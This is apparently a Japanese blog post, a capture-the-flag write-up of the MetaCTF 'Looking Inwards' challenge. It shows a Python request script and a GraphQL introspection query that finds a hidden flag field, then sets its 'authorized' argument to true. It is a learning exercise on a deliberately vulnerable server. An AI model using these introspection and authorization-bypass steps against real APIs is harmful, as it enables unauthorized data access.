LoginSignup
0
0

More than 1 year has passed since last update.

MetaCTF Web Writeup

Posted at

GraphQL問が面白かったのでWriteupを残します。

Looking Inwards

問題
It's always fun to take a moment of introspection, in this case not about oneself, but about our field (development/security). For example when it comes to API design, first there were SOAP endpoints primarily based on XML. Then as Web 2.0 came along, RESTful APIs became all the rage. Recently, technologies like GraphQL began to gain traction.

With new technologies, though, come new classes of attacks. Check out this basic GraphQL API server. To get you started, here's one cool thing it can do: If you send it a query in the form of echo(message: "message_here"), it will respond with what you said. Can you get it to give you the flag?

解法

問題ページにアクセスします。

image.png

エラー表示が出ているのを確認できます。
問題文にecho(message: "String")を送れ、とあるので実施してみます。
クエリを送る方法は色々あるみたいですが、今回はpythonで実行してみます。

query.py
import requests

headers = {
    'Content-Type': 'application/json'
}

data = '{"query":"query{  echo(message: \\"GraphQL_is_difficult!\\")}"}' 

response = requests.post('https://metaproblems.com/bb0e56b64e0a17b47450457b07fd2353/graphql.php',headers=headers,data=data)
print(response.text)


上記コードを実行すると下記のようなレスポンスがあります。

{"data":{"echo":"You said: GraphQL_is_difficult!"}}

このことから適切なクエリを送付できればFlagが取得できると考えました。

GraphQLではIntrospectionQuery を使うことでスキーマを確認することができるようですので、これを使い情報収集します。
https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html

確認するためのクエリは以下の通りです。

query IntrospectionQuery {
  __schema {
    queryType { name }
    types{
      name
      fields{
        name
        args{
        name
          type{
          kind
          name
            ofType{
            kind
            name
            }
          }
        }
      }
    }
  }
}

下記は上記クエリ実行結果の一部です。
明らかにflagと関連がありそうなフィールドを見つけることが出来ました。

"name": "super_super_secret_flag_dispenser",
              "args": [
                {
                  "name": "authorized",
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "Boolean"
                    }

あとはquery.pyのdata=の部分を下記に変更し実行するだけです。

 '{"query":"query query{ super_super_secret_flag_dispenser(authorized: true)}"}'

Flagが返ってきました!

{"data":{"super_super_secret_flag_dispenser":"MetaCTF{look_deep_and_who_knows_what_you_might_find}"}}

感想

GraphQLには触ったことがなかったので、解けるか不安でしたが無事解くことができてよかったです。
IntrospectionQueryを使った探索など非常に勉強になりました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0